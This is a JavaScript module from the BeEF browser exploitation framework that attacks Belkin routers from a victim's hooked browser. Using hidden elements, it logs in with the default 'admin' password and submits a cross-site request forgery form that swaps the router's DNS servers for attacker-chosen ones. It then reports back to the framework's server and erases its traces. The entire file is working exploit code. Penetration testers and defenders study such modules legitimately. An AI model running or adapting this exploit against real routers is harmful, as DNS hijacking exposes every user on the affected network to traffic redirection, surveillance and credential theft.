71 lines
2.4 KiB
JavaScript
71 lines
2.4 KiB
JavaScript
//
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// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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// config
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var gateway = '<%= @base %>';
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var path = '/cgi-bin/setup_dns.exe';
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var dns = '<%= @dns %>';
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var timeout = 15;
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// validate DNS server IP address
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var parts = dns.split('.');
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if (parts.length != 4) {
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid DNS server IP address was provided");
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return;
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}
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for (var i=0; i<parts.length; i++) {
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var part = parts[i];
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if (isNaN(part) || part < 0 || part > 255) {
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid DNS server IP address was provided");
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return;
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}
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}
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var dns_1 = parts[0];
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var dns_2 = parts[1];
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var dns_3 = parts[2];
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var dns_4 = parts[3];
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// attempt auth with default password (admin)
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// incorrect login attempts do not log out an authenticated session
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var img = new Image();
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img.setAttribute("style", "visibility:hidden");
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img.setAttribute("width", "0");
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img.setAttribute("height","0");
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img.id = 'belkin_auth_<%= @command_id %>';
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img.src = gateway+"/cgi-bin/login.exe?pws=admin";
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document.body.appendChild(img);
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// change DNS
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var belkin_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, "POST", "application/x-www-form-urlencoded", [
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{'type':'hidden', 'name':'dns1_1', 'value':dns_1},
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{'type':'hidden', 'name':'dns1_2', 'value':dns_2},
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{'type':'hidden', 'name':'dns1_3', 'value':dns_3},
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{'type':'hidden', 'name':'dns1_4', 'value':dns_4},
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{'type':'hidden', 'name':'dns2_1', 'value':dns_1},
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{'type':'hidden', 'name':'dns2_2', 'value':dns_2},
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{'type':'hidden', 'name':'dns2_3', 'value':dns_3},
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{'type':'hidden', 'name':'dns2_4', 'value':dns_4},
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{'type':'hidden', 'name':'dns2_1_t', 'value':dns_1},
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{'type':'hidden', 'name':'dns2_2_t', 'value':dns_2},
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{'type':'hidden', 'name':'dns2_3_t', 'value':dns_3},
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{'type':'hidden', 'name':'dns2_4_t', 'value':dns_4},
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{'type':'hidden', 'name':'auto_from_isp', 'value':'0'}
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]);
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
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// clean up
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cleanup = function() {
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document.body.removeChild(belkin_iframe_<%= @command_id %>);
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document.body.removeChild(belkin_auth_<%= @command_id %>);
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}
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setTimeout("cleanup()", timeout*1000);
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});
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